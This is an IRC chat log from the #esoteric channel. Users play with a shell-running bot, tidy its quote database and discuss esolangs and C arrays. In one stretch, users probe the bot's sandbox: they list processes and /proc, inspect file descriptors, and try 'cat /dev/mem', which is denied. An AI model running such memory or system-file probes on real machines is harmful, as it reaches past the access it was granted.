00:16:39 <HackEgo> 2/3:tubas <Fiora> oh! he killed hitler <kmc> oh yeah, there we go <kmc> thanks Fiora <Bike> he also killed the guy who killed hitler \ 558) <CakeProphet> l;le;ler;le;lr;e;ler;ler;le;lerr;le;le;erle;e;rler;lere;er;lerrelrrerererlanggt \ 333) <monqy> Sgeo: also do you know how to write a parser <Sgeo> monqy, how hard could it be
00:16:41 <shachaf> `spam
00:16:43 <HackEgo> 3/3:? \
00:17:16 <oerjan> `` for i in `seq 1 40`; do echo -n .123456789; done
00:17:18 <HackEgo> ​.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456
00:17:34 <shachaf> is there some hidden charm to 558
00:18:12 <oerjan> hm as i suspected, the 350 includes the zwsp
00:18:23 <oerjan> `` for i in `seq 1 40`; do echo -n 0123456789; done
00:18:24 <HackEgo> 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
00:18:42 <Elronnd> you can do that in fewer keystrokes
00:18:43 <shachaf> Good thing I went with 330.
00:18:45 <oerjan> `` for i in `seq 1 40`; do echo -n '<'123456789; done
00:18:48 <HackEgo> ​<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456789<123456
00:18:56 <shachaf> `` for i in {1..40}; do printf "%02d-3456789" i; done
00:18:57 <HackEgo> ​/hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i: invalid number \ /hackenv/bin/`: line 4: printf: i:
00:18:58 <Elronnd> `` for i in {1..40}; do echo -n 0123456789; done
00:19:00 <HackEgo> 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
00:19:03 <shachaf> `` for i in {1..40}; do printf "%02d-3456789" $i; done
00:19:04 <HackEgo> 01-345678902-345678903-345678904-345678905-345678906-345678907-345678908-345678909-345678910-345678911-345678912-345678913-345678914-345678915-345678916-345678917-345678918-345678919-345678920-345678921-345678922-345678923-345678924-345678925-345678926-345678927-345678928-345678929-345678930-345678931-345678932-345678933-345678934-345678935-3456789
00:19:18 <shachaf> `` for i in {1..40}; do printf "%02d>345678<" $i; done
00:19:19 <oerjan> it's like you think i'm golfing or something.
00:19:26 <Elronnd> what is the goal?
00:19:31 <Elronnd> what are you trying to golf?
00:19:39 <shachaf> No one is golfing anything except for you.
00:19:54 <moon_> `tr
00:19:57 <HackEgo> 01>345678<02>345678<03>345678<04>345678<05>345678<06>345678<07>345678<08>345678<09>345678<10>345678<11>345678<12>345678<13>345678<14>345678<15>345678<16>345678<17>345678<18>345678<19>345678<20>345678<21>345678<22>345678<23>345678<24>345678<25>345678<26>345678<27>345678<28>345678<29>345678<30>345678<31>345678<32>345678<33>345678<34>345678<35>345678<
00:19:58 <HackEgo> tr: missing operand \ Try `tr --help' for more information.
00:19:59 <oerjan> Elronnd: i'm trying to determine HackEgo's output cutoff rules
00:20:08 <Elronnd> using shell ranges is probably more optimized, too
00:20:33 <Elronnd> oerjan: cutoff for what?
00:20:35 <Elronnd> output size?
00:20:42 <moon_> is there a good way to get a random number that is 1 through 10?
00:21:05 <Elronnd> moon_: random(6)?
00:21:15 <moon_> oh, kk. im a bash idiot
00:21:25 <Elronnd> `` for i in {1..1500}; do printf $i; done
00:21:26 <HackEgo> 12345678910111111111213141516171819202122222222232425262728293031323333333435363738394041424344444444454647484950515253545555556575859606162636465666666667686970717273747576777778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142
00:21:29 <ais523> Elronnd: that produces a random number in the range 1 to 10?
00:21:31 <Elronnd> oerjan: ^
00:21:43 <Elronnd> ais523: random, the unix command
00:21:46 <Elronnd> (6), games
00:21:55 <ais523> ah right
00:23:17 <shachaf> `delquote 558
00:23:22 <HackEgo> ​*poof* <CakeProphet> l;le;ler;le;lr;e;ler;ler;le;lerr;le;le;erle;e;rler;lere;er;lerrelrrerererlanggt
00:23:27 -!- iTitou has left.
00:23:37 <shachaf> elliott would probably revert that but I don't understand the significance.
00:23:45 <oerjan> Elronnd: i already solved the problem, it's more subtle than that, and your output is not very good at giving the information anyway hth
00:23:59 <shachaf> `` hog quotes | grep lerrelrre
00:24:05 <HackEgo> No output.
00:24:20 <shachaf> I guess it's a nitia quote.
00:24:38 <shachaf> `5
00:24:40 <HackEgo> 1/3:1255) <hppavilion[1]> izabera: It's sort of like the principal, as far as I know. <hppavilion[1]> Except It only prints "<N> BOTTLES OF BEER ON THE WALL!" Counting down from 99 to 0. With no line breaks. \ 872) <Taneb> That's the problem with Tumblr <Taneb> All the porn titles are taken by non-porn people \ 726) <calamari> the
00:24:42 <shachaf> `spam
00:24:43 <HackEgo> 2/3:re was a time when I liked wearing a tie too.. I was a mormon. not claiming one has to be a religious nutcase to wear a tie, of course \ 505) <fungot> elliott: mr president, commissioner, i fully accept that description when it comes to human rights. yes, with an average fat content of chocolate, and we are using double standard
00:24:45 <shachaf> `spam
00:24:46 <HackEgo> 3/3:s! we all know that under present legislation and also in relation to standardization bodies. if i do not want. \ 940) <doesthiswork> a comathmatician is a device for turning cotheorems into ffee \
00:25:06 <moon_> i just need to split up a string by |'s now
00:25:12 <moon_> then i can write the main mechanics
00:25:22 <oerjan> shachaf: i don't feel `spam output counts as the 5 quote process but then i don't understand 558 either (something involving race conditions?)
00:25:31 <shachaf> oerjan: Why not?
00:25:34 <shachaf> `cat bin/5
00:25:36 <HackEgo> for i in {1..5}; do quote; done | sport
00:26:07 <oerjan> shachaf: because the output is so noisy that i don't bother to read it.
00:26:28 <shachaf> Well, it's less noisy than `quote`quote`quote`quote`quote.
00:26:33 <shachaf> At least in terms of vertical space.
00:26:55 <shachaf> I guess `5 could use spore instead of sport, but then you don't save any lines.
00:27:56 <shachaf> `delquote 940
00:27:59 <HackEgo> ​*poof* <doesthiswork> a comathmatician is a device for turning cotheorems into ffee
00:28:14 <shachaf> Hmm, maybe 1255 would've been better.
00:28:15 <shachaf> I don't know.
00:28:17 <shachaf> Everything is bad.
00:28:19 -!- shachaf has left.
00:34:26 -!- hppavilion[1] has joined.
00:38:27 <moon_> hi hppavilion[1]
00:38:34 <hppavilion[1]> helloon_
00:38:53 <hppavilion[1]> moon_: I think you're the first person to show up on #esoteric since I joined who has really stuck around
00:38:55 <oerjan> how can i commend shachaf on his `? predictate definition when he's not here :(
00:39:04 <moon_> heh
00:39:08 <hppavilion[1]> `ccommend shachaf
00:39:09 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ccommend: not found
00:39:14 <hppavilion[1]> `commend shachaf
00:39:16 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: commend: not found
00:39:34 <hppavilion[1]> oerjan: Can HackEgo commands detect who invoked them?
00:40:00 <oerjan> hppavilion[1]: we haven't found a way, alas
00:40:02 <hppavilion[1]> (I have developed a habit of hitting <tab> in the middle of words to expand them, forgetting that they aren't names and thus could not possibly be tab-completed)
00:40:20 <oerjan> it seems the information just isn't in the sandbox.
00:40:22 <moon_> gg
00:40:37 <moon_> also, installed openbsd on a subsystem
00:40:44 <oerjan> `` ps aux | grep oerjan
00:40:46 <HackEgo> 50000 288 11.0 0.2 4180 620 ? S 23:40 0:00 sh -c 'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' 'LANG=en_NZ.UTF-8' '/home/hackbot/hackbot.hg/multibot_cmds/lib/limits' '`' 'ps aux | grep oerjan' | cat \ 5000 291 32.0 0.6 19140 1600 ?
00:41:00 <moon_> but it keeps running out of space just to unpack ports.tar.gz on a 8 gb disk
00:41:01 <oerjan> `` printenv | grep oerjan
00:41:02 <HackEgo> No output.
00:41:07 <moon_> ports is only 40-50mb
00:41:08 <oerjan> no trace of it
00:41:59 <moon_> whats going on?
00:42:29 <oerjan> `` ls proc
00:42:33 <HackEgo> ls: cannot access proc: No such file or directory
00:42:35 <oerjan> `` ls /proc
00:42:36 <HackEgo> 1 \ 10 \ 2 \ 281 \ 285 \ 286 \ 287 \ 288 \ 289 \ 290 \ 291 \ 292 \ 293 \ 294 \ 295 \ 296 \ 3 \ 4 \ 47 \ 49 \ 5 \ 51 \ 6 \ 68 \ 7 \ 76 \ 77 \ 8 \ 9 \ buddyinfo \ bus \ cgroups \ cmdline \ config.gz \ consoles \ cpuinfo \ crypto \ devices \ diskstats \ driver \ execdomains \ exitcode \ filesystems \ fs \ interrupts \ iomem \ ioports \ irq \ kallsyms
00:43:00 <oerjan> `` grep oerjan | /proc/mem
00:43:21 <izabera> too many pipes
00:43:29 <oerjan> oops
00:43:31 <HackEgo> ​/hackenv/bin/`: line 4: /proc/mem: No such file or directory
00:43:33 <oerjan> :P
00:43:39 <oerjan> `` grep oerjan /proc/mem
00:43:40 <HackEgo> grep: /proc/mem: No such file or directory
00:43:44 <oerjan> ...well
00:44:01 <moon_> accessing dev/mem is prohibited i beleive
00:44:05 <oerjan> `` ls /proc/*mem*
00:44:08 <HackEgo> ​/proc/iomem \ /proc/meminfo
00:44:19 <oerjan> PERHAPS
00:44:32 <moon_> `echo /dev/mem
00:44:33 <HackEgo> ​/dev/mem
00:44:40 <moon_> `cat /dev/mem
00:44:43 <HackEgo> cat: /dev/mem: Permission denied
00:47:25 <hppavilion[1]> oerjan: That is pretty annoying
00:47:30 <hppavilion[1]> oerjan: You'd think that...
00:47:31 <hppavilion[1]> `help
00:47:32 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
00:47:36 <hppavilion[1]> `credits
00:47:38 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: credits: not found
00:48:01 <hppavilion[1]> ...GregorR would have thought to include that
00:48:06 <oerjan> you would.
00:48:16 <oerjan> but he didn't.
00:48:26 <oerjan> btw he's dropped the R.
00:48:32 <hppavilion[1]> Oh
00:48:39 <hppavilion[1]> oerjan: His bitbucket still has it
00:48:45 <oerjan> ok
00:48:52 <hppavilion[1]> So when discussing that, I shall include the R
00:48:57 <oerjan> not that he's coming here any longer.
00:49:02 <hppavilion[1]> Of course
00:49:23 <oerjan> being all snotty professory and stuff
00:49:30 <hppavilion[1]> Huh
00:49:41 <hppavilion[1]> SMBC's setup for comic searching is really quite shit
00:50:05 <oerjan> it cannot possibly be worse than Drive's hth
00:50:24 <hppavilion[1]> oerjan: Drive's?
00:50:37 <oerjan> Drive, the scifi comic.
00:50:41 <hppavilion[1]> Ah
00:51:13 <hppavilion[1]> oerjan: The "random" button's target is determined serverside when the page is loaded; so if you open "random" in a new tab twice from the same page without reloading, you will get the same comic both times
00:51:53 <hppavilion[1]> And I just discovered that the "go to most recent" button is actually calculated; so if you have a page open and a new SMBC is added and you click the "most recent" button after, it will actually go to the one that was most recent when the page was loaded
00:52:00 <hppavilion[1]> Instead of just going to the main comic page
00:53:45 <hppavilion[1]> The proper way to go to a random comic is to have an intermediate page that forms a redirect to a random comic; the "random" button simply links to its URL
00:54:08 <hppavilion[1]> And the proper way to go to the most recent comic is to link to the main comic page, which generally includes the most recent comic by default
00:55:47 <hppavilion[1]> `cat /dev/null
00:55:48 <HackEgo> No output.
00:55:51 <hppavilion[1]> Hm...
00:56:51 <hppavilion[1]> Maybe we should hack `cat so when it's called on /dev/null it prints "And if thou gaze long into an abyss, the abyss will also gaze into thee."
00:58:01 <moon_> that'd be neat
00:58:07 <moon_> can we do it?
00:58:14 <moon_> like is there a way?
00:58:22 <ais523> but `cat should produce an empty output on /dev/null
00:59:12 <moon_> `cat output
00:59:13 <HackEgo> No output.
00:59:19 <moon_> its lieing
00:59:21 <hppavilion[1]> ais523: Why?
00:59:31 <moon_> `url output
00:59:32 <hppavilion[1]> ais523: Would things break if it did not?
00:59:34 <ais523> hppavilion[1]: because /dev/null reads as an empty file
00:59:35 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/output
00:59:46 <hppavilion[1]> ais523: Yes, but we'd hack `cat to special-case /dev/null
00:59:47 <ais523> cat's job is to, among other things, recreate the contents of files
01:00:11 <ais523> hppavilion[1]: then "cat | command" can act differently from "command"
01:00:12 <oerjan> it certainly _could_ break things. whether it actually will...
01:00:24 -!- xkapastel has joined.
01:00:25 <ais523> I can certainly imagine programs that break as a result of the identity function not being an identity
01:00:33 <hppavilion[1]> oerjan: Eh, this is #esoteric. Do we really have anything that isn't broken?
01:00:41 <moon_> lol
01:00:46 <oerjan> fungot: are you broken
01:00:46 <fungot> oerjan: and " current" just corresponds to the equations a k*b, b k*(a b) implies b fnord b) and 1 is slightly faster ( less slow). ( 3)
01:00:56 <hppavilion[1]> ais523: Yes, but do any programs use cat /dev/null as the identity function?
01:01:18 <hppavilion[1]> Ah, the fnord connective.
01:01:32 <ais523> hppavilion[1]: well, say we want to recreate combinatory logic in bash
01:01:42 <ais523> (there doesn't have to be a reason for this, this is #esoteric)
01:01:42 <hppavilion[1]> ais523: Why would we do that?
01:01:47 <hppavilion[1]> Oh, right
01:02:00 <hppavilion[1]> ais523: We'd just use the actual `cat, which would be hidden somewhere else
01:02:27 <oerjan> `` rgrep null bin
01:02:33 <HackEgo> bin/quote: if expr "$1" + 0 >/dev/null 2>&1; then \ bin/echo-p:echo "$1"; [[ "$1" == */* ]] && mkdir -p "${1%/*}" 2>/dev/null \ Binary file bin/ploki matches \ Binary file bin/udcli matches \ bin/google:lynx --cfg=/dev/null --lss=/dev/null \ \ Binary file bin/emmental matches \ bin/roll: if expr "$i" : ".*[dD].*" >& /dev/null \ bin/delquote:e
01:02:48 <ais523> what does --lss do?
01:03:12 <oerjan> `` rgrep null bin | sport
01:03:16 <HackEgo> 1/5:bin/quote: if expr "$1" + 0 >/dev/null 2>&1; then \ bin/echo-p:echo "$1"; [[ "$1" == */* ]] && mkdir -p "${1%/*}" 2>/dev/null \ Binary file bin/ploki matches \ Binary file bin/udcli matches \ bin/google:lynx --cfg=/dev/null --lss=/dev/null \ \ Binary file bin/emmental matches \ bin/roll: if expr "$i" : ".*[dD].*" >& /dev/n
01:03:19 <oerjan> `spam
01:03:21 <HackEgo> 2/5:ull \ bin/delquote:expr "$1" + 0 >/dev/null 2>&1 || exit 1 \ bin/delquote:diff quotes quotes.new >/dev/null && exit 1 \ Binary file bin/luac matches \ bin/etymology:lynx --cfg=/dev/null --lss=/dev/null \ \ bin/rm-p:rm "$1"; rmdir -p "$(dirname "$1")" 2>/dev/null \ Binary file bin/macro matches \ Binary file bin/jq matches \ bin/
01:03:46 <ais523> I take it that `sport outputs the first line of a multiline command, and `spam returns subsequent lines?
01:03:48 <oerjan> `spam
01:03:50 <HackEgo> 3/5:forth:exec gforth -e "$* bye" </dev/null \ bin/define:lynx --cfg=/dev/null --lss=/dev/null \ \ Binary file bin/searchlog matches \ bin/paste:if [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists. \ bin/runc:echo -e "$@" | gcc -trigraphs -o $t -x c - 2>/dev/null && $t \ bin/pastelog: if expr "$1" + 0
01:04:09 <oerjan> ais523: actually it's not quite line-based (yet, anyway)
01:04:23 <oerjan> `spam
01:04:24 <HackEgo> 4/5:>/dev/null 2>&1; then \ Binary file bin/lua matches \ Binary file bin/tclkit matches \ bin/quotes: if expr "$1" + 0 >/dev/null 2>&1; then \ bin/translatefromto: --data-urlencode langpair="$FROM"'|'"$TO" 2> /dev/null | \ bin/ls:if /bin/ls -id "$@" 2>/dev/null | grep -q ^"$(/bin/ls -id /hackenv/wisdom | cut -d\ -f 1)"
01:04:33 <oerjan> `spam
01:04:34 <HackEgo> 5/5:; then echo 'As the wisdom directory contains many files named after nicks, listing it in public annoys people. Try listing it in private instead.'; else exec -a ls /bin/ls "$@"; fi \ Binary file bin/units matches \
01:04:36 <ais523> oerjan: first output line
01:04:58 <oerjan> well i see no obvious uses of cat /dev/null, although who knows what lynx does internally...
01:05:29 <oerjan> (mind you the web proxy is probably not working anyway
01:05:38 <ais523> or gforth
01:05:45 <ais523> if we changed that to cat | gforth itd break
01:05:49 <ais523> *it'd
01:09:04 <oerjan> ais523: i don't think HackEgo's stdin is /dev/null btw, which i however consider a bug
01:09:18 <oerjan> (it's the reason for some occasional long timeouts)
01:09:21 <ais523> `` ls -l /proc/self/fd
01:09:23 <HackEgo> total 0 \ lr-x------ 1 50000000 327963 64 Jun 5 00:08 0 -> /tty1 \ l-wx------ 1 5000000000 327963 64 Jun 5 00:08 1 -> pipe:[257] \ l-wx------ 1 500000 327963 64 Jun 5 00:08 2 -> /tty1 \ lr-x------ 1 5000000000 327963 64 Jun 5 00:08 3 -> /console \ l-wx------ 1 5000000 327963 64 Jun 5 00:08 4 -> /console \ lr-x------ 1 5000 327963 64 Jun 5 00:
01:09:38 <ais523> "/tty1"?
01:09:48 <ais523> `` cat bin/`
01:09:50 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
01:09:53 <ais523> `` cat bin/\`
01:09:53 <HackEgo> ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnoooooodl
01:10:39 <ais523> there are some strange options there, and that pipe made me suspicious
01:10:50 <ais523> also what's up with FDs 3 and 4?
01:10:52 <oerjan> ais523: anyway that wouldn't break if the modified cat only looked at the argument line
01:11:00 <ais523> `` echo test 1>&3
01:11:01 <HackEgo> ​/hackenv/bin/`: line 4: echo: write error: Bad file descriptor
01:11:33 <ais523> oerjan: surely you'd want cat /dev/null to work the same way as cat </dev/null ?
01:12:19 <oerjan> i'm not saying this is a good idea, i'm just saying it could be done not to break things much worse than they already are.
01:12:54 <oerjan> also, you're right to be suspicious hth
01:17:52 <moon_> my god openbsd's ports is big.
01:18:01 <moon_> it ate up all the space in the usr dir
01:18:22 <moon_> and it has taken several minutes to move to main storage
01:19:37 <moon_> im going to make a larger disk next time >_>
01:19:45 <moon_> 32 gb instead of 8
01:22:08 <moon_> ill soon be talking to you all over openbsd, bbl
01:22:12 -!- moon_ has quit (Quit: Page closed).
01:28:19 -!- moon_ has joined.
01:28:26 <moon_> i lied, everything is stalling in openbsd >_>
01:28:32 <moon_> the download is taking too long
01:30:05 <moon_> 3-4 mb downloads are not ment to take 4 minutes internet ._
01:33:57 <moon_> lol the freebsd make 'checks wether the enviornment is sane'
01:34:01 <moon_> lo*openbsd
01:34:05 <moon_> it would fail here.
01:34:45 <ais523> moon_: that check has succeeded even in cases where it /really/ shouldn't (e.g. C-INTERCAL running on gcc-bf)
01:35:00 <moon_> lol
01:35:23 <moon_> the hexchat irc client will be done in no time :P
01:36:24 <moon_> its spamming my terminal
01:36:28 <moon_> )=
01:50:54 <moon_> http://www.haneke.net/
01:50:58 <moon_> intresting site
01:52:21 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
01:52:57 -!- shachaf has joined.
01:58:22 <shachaf> `rm output
01:58:26 <HackEgo> No output.
01:59:26 <oerjan> i think you catted it instead tdnh
02:00:23 <shachaf> `mk canary//cat: canary: No such file or directory
02:00:29 <HackEgo> canary
02:00:48 <moon_> `cat canary
02:00:49 <HackEgo> cat: canary: No such file or directory
02:00:51 <moon_> lol
02:00:57 <ais523> `cat yranac
02:00:59 <HackEgo> cat: yranac: No such file or directory
02:00:59 <moon_> that was similar to the joke in output
02:01:11 <ais523> I approve of this canary
02:01:21 <moon_> output contained: 'No output.'
02:01:56 <shachaf> But making files in /hackenv is frowned upon.
02:02:23 <moon_> anways, did you all look at this: http://www.haneke.net/
02:05:55 <oerjan> moon_: yes, and i have the earworm to prove it hth
02:06:27 <moon_> the site has no sound
02:06:38 <oerjan> moon_: huh? it does for me.
02:06:59 <moon_> yea, it doesnt
02:07:24 <moon_> oh, it does
02:07:25 <oerjan> i'm not sure if it's meant to be something more than a background animation...
02:07:34 <moon_> nope, its not lol
02:07:42 <oerjan> a few test clicks did nothing, anyway
02:08:19 <moon_> but it inspired another random esolang :P
02:08:46 -!- Phantom_Hoover has quit (Remote host closed the connection).
02:09:00 <moon_> nvm someone beat me to something similart
02:09:08 <moon_> http://esolangs.org/wiki/Marbelous
02:09:13 <oerjan> moon_: in that case, have you seen Rube?
02:09:18 <moon_> mhm
02:10:22 <moon_> but im gonna go for a single char lang instead, so i might just do it.
02:10:57 <moon_> first, interpreter for a usable language
02:11:33 <oerjan> Rube is a single char lang, although Rubicon uses graphics.
02:12:50 <moon_> hmm, ok then
02:13:06 <moon_> wait why did i say that if i have seen it? xD
02:17:54 <HackEgo> [wiki] [[Special:Log/newusers]] create * Destructible watermelon * New user account
02:18:36 <ais523> interesting name
02:18:53 <shachaf> "destructible" is usually implied.
02:18:53 <Elronnd> it has spaces though
02:18:54 <ais523> oerjan: rubicon's a single char lang internally
02:18:58 <ais523> you could just say it's using a particularly pretty font
02:20:44 <moon_> is there a good way to map a string to a grid?
02:20:55 <moon_> aka 1d array to 2d array?
02:21:04 <moon_> wait dont answer that.
02:21:36 <moon_> nvm do answer it :P
02:23:51 <Elronnd> what do you mean
02:24:10 <Elronnd> do you want [1,2,3,4,5,6] to look like [ [1,2], [3,4], [5,6] ]?
02:24:14 <moon_> i want to map a 1 dimensional array to a 2 dimensional array in C++
02:24:18 <ais523> moon_: replace newlines with "go to the next line"
02:24:47 <Elronnd> moon_: what do you mean "map" a 1 dimensional array?
02:25:05 <moon_> apply it to a 2 dimensional array, make it 2d
02:25:15 <Elronnd> can you give me an example?
02:25:33 -!- hppavilion[1] has joined.
02:25:34 * oerjan senses a certain lack of precision
02:25:37 <hppavilion[1]> Why is theft a crime, but cotheft isn't a cocrime?
02:25:58 <oerjan> hppavilion[1]: cocrime is a cotheft, duh
02:25:59 <oerjan> hth
02:26:22 <moon_> http://pastebin.com/MH4QRFGK
02:26:22 <hppavilion[1]> Theft, of course, being the decrease of another person's economic value or the exchange of goods without their consent, and cotheft being increasing the value
02:26:27 <moon_> there is your example
02:26:41 <hppavilion[1]> Then again, I have nfc what cocrime is, so maybe it is
02:27:18 <oerjan> moon_: what do you do if the length of the string is prime twh
02:27:20 <Elronnd> moon_: what if you have 1345
02:27:25 <Elronnd> ermm
02:27:26 <Elronnd> 12345
02:27:36 <moon_> then it would wrap around
02:27:47 <moon_> wrapped with nulls
02:27:58 <Elronnd> so 12NULL 345
02:28:02 <Elronnd> or 123 NULL45
02:28:25 <moon_> no you would have 12 34 5NULL
02:28:33 <hppavilion[1]> oerjan: Wait, what?
02:28:33 <moon_> or that
02:28:36 <Elronnd> ohh
02:28:38 <hppavilion[1]> oerjan: What's moon_ doing in the first place?
02:28:41 <moon_> it depends on how it is written
02:28:45 <moon_> 2d interpreter
02:28:59 <hppavilion[1]> moon_: Find a prime p s.t. p+1 is also prime
02:29:28 <Elronnd> moon_: so you want to split an array into an array of arrays of 2 chars each
02:29:33 <moon_> no
02:29:40 <moon_> an array into a square array
02:29:55 <Elronnd> 12 34 5NULL isn't square
02:30:08 <moon_> it is rectangulare
02:30:29 <Elronnd> also, although I don't have any experience with C/C++, wouldn't you get a type error if you tried to put a NULL in an array of int?
02:30:34 <moon_> but 12NULL 34 5, 12 34NULL 5 are examples
02:30:59 <moon_> this is an array of chars, the char there would be the 2d language's nop
02:31:30 <oerjan> hppavilion[1]: why do you expect me to know
02:31:41 <moon_> C supports 2d arrays
02:31:58 <Elronnd> how is the rectangle size decided?
02:32:02 <Elronnd> is it arbitrary?
02:32:03 <moon_> i.e char 2darray[100][100]
02:32:14 <Elronnd> say you had a string 12 chars long
02:32:15 <moon_> thats what i need a way to DO
02:32:18 <Elronnd> would it be 6x2
02:32:19 <moon_> >_>
02:32:20 <Elronnd> or x4
02:32:22 <Elronnd> 3x4
02:32:22 <hppavilion[1]> oerjan: Well, you asked what happens if the length of the string is prime, so I made a guess that you understood enough to know that would be a problem
02:32:27 <hppavilion[1]> Hm...
02:32:34 <hppavilion[1]> I just realized something interesting about english
02:32:39 <moon_> what
02:32:40 <hppavilion[1]> You can have adjectives which are synonyms
02:32:44 <moon_> lol
02:32:48 <Elronnd> hppavilion[1]: I imagine that if n were prime, the 2D array would be 1xn
02:33:01 <hppavilion[1]> But which when applied to the same noun mean different things
02:33:05 <hppavilion[1]> But only relative to each other
02:33:11 <hppavilion[1]> For example, "very" and "extremely"
02:33:19 <Elronnd> huh
02:33:20 <Elronnd> wow
02:33:24 <hppavilion[1]> They're adjectives
02:33:27 <moon_> ok to avoid this problem im gonna use a fixed array
02:33:31 <hppavilion[1]> (I think)
02:33:38 <Elronnd> i'm very bored and extremely tired
02:33:41 <Elronnd> ermm
02:33:42 <hppavilion[1]> And they both describe that another adjective is exaggerated
02:33:44 <Elronnd> i'm very bored and extremely excited
02:33:46 <hppavilion[1]> Essentially, they're synonyms
02:33:53 <moon_> how would i apply a strin up to 10000 chars long to a 100x100 array? :P
02:33:54 <moon_> in C
02:34:14 <hppavilion[1]> And if you say something is "very big or something is "extremely big", they mean the same thing
02:34:22 <moon_> ^
02:34:23 <hppavilion[1]> s/very big/very big"/
02:34:38 <HackEgo> [wiki] [[List of ideas]] M https://esolangs.org/w/index.php?diff=47127&oldid=46650 * Destructible watermelon * (+453) /* Looks Like */
02:34:58 <hppavilion[1]> But if you say one thing is "very big" and another thing is "extremely big", then it stands to reason that the second thing is bigger than the first
02:35:12 <hppavilion[1]> Even though "very" and "extremely" mean the same thing
02:35:13 <Elronnd> for (i=0;i==length_of_str;i++) {well
02:35:15 <Elronnd> gah
02:35:15 <Elronnd> well
02:35:16 <Elronnd> sure
02:35:26 <Elronnd> they express different magnitudes
02:35:29 <Elronnd> but they can still be considered synonyms
02:35:34 <hppavilion[1]> Elronnd: Yes, but only when used together
02:35:49 <moon_> wait i got it
02:35:59 <hppavilion[1]> Elronnd: When only one is used, they express roughly the same range of magnitudes
02:36:07 <hppavilion[1]> Is there a linguistic term for this?
02:36:19 <hppavilion[1]> (This was inspired, of all things, by the Goldbach Conjectures)
02:36:22 <oerjan> hppavilion[1]: no, i just understood enough to think of an example where moon_'s statement of the problem was underspecified.
02:36:52 <hppavilion[1]> oerjan: But what was the problem in the first place?
02:36:53 <Elronnd> moon_: I'm guessing that you want the sides of the rectangle to be as close as possible to each other?
02:36:57 <moon_> mhm
02:37:16 <hppavilion[1]> moon_: By the way
02:37:18 <oerjan> hppavilion[1]: they're adverbs, not adjectives hth
02:37:30 <hppavilion[1]> oerjan: Are they?
02:37:35 <hppavilion[1]> Oh well, it still works if they are
02:37:44 <hppavilion[1]> moon_: I calculated the odds of everybody on earth sneezing at the same time
02:37:59 <hppavilion[1]> (at any given second)
02:38:18 <hppavilion[1]> (or something; I don't remember what the math means precisely)
02:38:29 <hppavilion[1]> It's 5.2345140545750255095729057789677877107902000024178184273063118452216398192830384321642665672586107071499738573951676069816850719055839882135729586168861337085743787119721991366279460690571913008155670283808735608620… × 10^-37943769263
02:38:39 <moon_> oh my god
02:38:41 <moon_> lol
02:38:45 <moon_> big number
02:39:07 <oerjan> does C guarantee that arrays of arrays are unpadded? in that case it should be easy to cheat.
02:39:09 <moon_> im takeing that to bay12 quotes thread :P
02:39:40 <moon_> i have a programming chalange for you all, by the way
02:39:46 <Elronnd> oerjan: it's trivial to pad them, if not
02:39:49 <Elronnd> moon_: what is it?
02:39:51 <moon_> make a language that uses objects out of http://www.haneke.net/ for its operands
02:40:03 <moon_> and then makea interpreter
02:40:16 <moon_> you dont need all of the objects
02:40:49 <Elronnd> what is that site
02:41:00 <moon_> giant gif marble machine
02:42:03 <oerjan> Elronnd: i mean that you might just cast the array to a string, then copy into it
02:42:46 <oerjan> (add "pointer to" as needed)
02:43:50 <moon_> actually, memory operations would work, C/C++ store 2d arrays in a 1d format still
02:43:54 <moon_> without padding
02:44:09 <oerjan> moon_: well i was asking whether that is guaranteed.
02:44:17 <moon_> i beleive so
02:44:40 <oerjan> if not, you can always use for loops.
02:44:45 <moon_> yup
02:45:07 <oerjan> it seems to me that deciding the number of rows is the hardest part :)
02:45:19 <moon_> mhm
02:45:27 <oerjan> (ideally needs a square root)
02:46:39 <moon_> so elronnd, you take it?
02:47:17 <hppavilion[1]> moon_: That's a small number
02:47:20 <Elronnd> moon_: here's my (very bad) pseudocode http://lpaste.net/165400
02:47:23 <Elronnd> for your 2D problem
02:47:26 <hppavilion[1]> moon_: Notice the '-' after the '^'
02:47:41 <moon_> ik
02:47:59 <moon_> im saying its very 'long' which is synonomus with big in most ways
02:48:02 <moon_> (=
02:48:16 <hppavilion[1]> moon_: Not in math
02:48:29 <moon_> i ment in characters of text
